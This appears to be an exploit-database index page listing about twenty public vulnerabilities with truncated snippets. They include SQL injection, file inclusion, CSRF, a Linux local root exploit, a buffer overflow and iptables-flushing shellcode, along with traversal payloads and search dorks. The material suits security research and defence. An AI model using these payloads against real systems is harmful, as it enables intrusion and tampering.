Cyberfolio <= 2.0 RC1 (av) Remote File Include Vulnerabilities

No description provided by source. !/usr/bin/env python coding: utf-8 import re from pocsuite.net import req from pocsuite.poc import Output, POCBase from pocsuite.utils import register class CyberfolioRemoteFileIncludePOCBase: vulID = '64221' version = '1' vulDate = '2006-11-06' author = ' '...

Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

primitive cms 1.0.9 - Multiple Vulnerabilities

No description provided by source. Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities Date: 20.09.2010 Author: Stephan Sattler // Solidmedia.de Software Website: http://www.bouzouste.info/ Software Link: http://www.bouzouste.info/link/click.php?id=1 Version: 1.0.9 Vulnerability 1...

PHP File Sharing System 1.5.1 - Multiple Vulnerabilities

No description provided by source. Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities Author: blake Tested on: Windows XP SP3 with xampplite 1 XSS http://192.168.1.149/fss/index.php?cam= 2 Directory transversal http://192.168.1.149/fss/index.php?cam=/../../../../../../../.. 3 Shell...

openEngine 2.0 100226 LFI and XSS Vulnerabilities

No description provided by source. SecPod Technologies www.secpod.com Title : openEngine Local File Inclusion and XSS Vulnerabilities Vendor : http://www.openengine.de Advisory : http://secpod.org/blog/?p=152 http://secpod.org/advisories/SECPODOpenengineLFIXSSVuln.txt Version : openEngine 2.0...

Joomla Component iDoBlog <= b24 Remote SQL Injection Vulnerability

No description provided by source. Joomla Component idoblog Remote SQL Injection Founded by : His0k4 Algerian HaCkeR; Contact: His0k4.hlmatgmail.com Greetz : All friends & muslims HaCkeRs : Greetz2 : http://www.palcastle.org/cc/ ScriptName: Joomla ComponentName: comidoblog DORK: inurl:comidoblog...

Evaria Content Management System 1.1 File Disclosure Vulnerability

No description provided by source. Exploit Title: local file include / File Disclosure Date: Author: khayeye shotor Software Link: http://www.evaria.com/en/?view=download&dload=1 Version: Evaria Content Management System v.1.1 Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye...

Campsite CMS 3.4.0 - Multiple CSRF Vulnerabilities

No description provided by source. !--- Title: Campsite CMS 3.4.0 Multiple CSRF Vulnerabilities Author: 10n1z3d 10n1z3datwdotcn Date: Mon 12 Jul 2010 03:40:46 PM EEST Vendor: http://www.sourcefabric.org/en/home/web/6/Campsite.htm?tpl=18 Download:...

Tutti Nova <= 1.6 (TNLIB_DIR) Remote File Include Vulnerability

novalib/class.novaEdit.mysql.php 代码中对TNLIBDIR变量校验不严格。 利用方法： !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOCPOCBase: vulID = '63860' ssvid version = '1.0' author = '皮皮' vulDate = '2006-08-21'...

SePortal 2.5 - SQL Injection Vulnerabilty

No description provided by source. Exploit: SePortal 2.5 Sql Injection Vulnerabilty Author: jsass Date : 19\03\2014 Contact Twitter: @Kwsecurity Script: http://www.seportal.org/ version: 2.5 Tested on: Linux Ubuntu 12.4 & Windows 7 Dork : Powered by SePortal 2.5 // Searching And Analysis By Kuwai...

WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Allow PHP in Posts and Pages plugin = 2.0.0.RC1 SQL Injection Vulnerability Date: 2011-08-18 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link:...

Linux 2.6.37-3.x.x PERF_EVENTS - Local Root Exploit

No description provided by source. / linux 2.6.37-3.x.x x8664, 100 LOC gcc-4.6 -O2 semtex.c && ./a.out 2010 [email protected], salut! update may 2013: seems like centos 2.6.32 backported the perf bug, lol. jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. / define GNUSOURCE 1 include...

Agoko CMS <= 0.4 - Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl print q -------------------------------------------------- Agoko CMS = 0.4 remote commands execution exploit by staker mail: stakerathotmaildotit -------------------------------------------------- Usage - perl xpl.pl host path Example - perl agk.p...

netclassifieds (sql/xss/full path) Multiple Vulnerabilities

No description provided by source. Application: NetClassifieds: -Free Edition -Standard Edition -Professional Edition -Premium Edition Web Site: http://www.scriptdevelopers.net/ Versions: all Platform: linux, windows Bug: multiple injection sql , xss , full path Fix Available: Yes...

virtue news (sql/xss) Multiple Vulnerabilities

No description provided by source. Viva l'Algérie 3-1 ---Karim Matmour--Abdel-Kader Ghazal--Rafik al-Zuhair Jabbur-- Félicitations à tous les Algériens L'Algérie bat l'Egypte 3-1 à aller El akouba pour le retour -------------------------AllaH AkbaR------------------------------- Virtue News...

Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes

No description provided by source. / Title: Linux/x86-64 - execve/sbin/iptables, /sbin/iptables, -F, NULL - 49 bytes Author: 10n1z3d 10n1z3datwdotcn Date: Fri 09 Jul 2010 03:26:12 PM EEST Source Code NASM: section .text global start start: xor rax, rax push rax push word 0x462d mov rcx, rsp mov...

SmodCMS 4.07 (fckeditor) - Remote Arbitrary File Upload Exploit

No description provided by source. ?php / ----------------------------------------------------------------- SmodCMS v.4.07 fckeditor Remote Arbitrary File Upload Exploit -----------------------------------------------------------------...

TinyIdentD <= 2.2 - Remote Buffer Overflow Exploit

No description provided by source. tinyidentd exploit code by thomas . pollet at gmail . com bug by Maarten Boone usage: python exploit.py target import socket,sys jmp into nop sled payload = '\xeb\x20' ident crap payload += ', 28 : USERID : UNIX : ' nop sled payload +='XXXX' jmp %esi payload +=...

BPTutors Tutoring site script - [ CSRF ] Create Administrator Account

No description provided by source. Title: BPTutors Tutoring site script - CSRF Create Administrator Account Date: 26/3/2010 Author: bi0 Software: http://bpowerhouse.info/tutoring-site-script.htm Version: 1.0 Code : /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001...

WebprojectDB <= 0.1.3 (INCDIR) Remote File Include Vulnerability

No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ WebprojectDB INCDIR = v.0.1.3 Remote File Include Vulnerability $$ script site: http://sourceforge.net/projects/webprojectdb/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...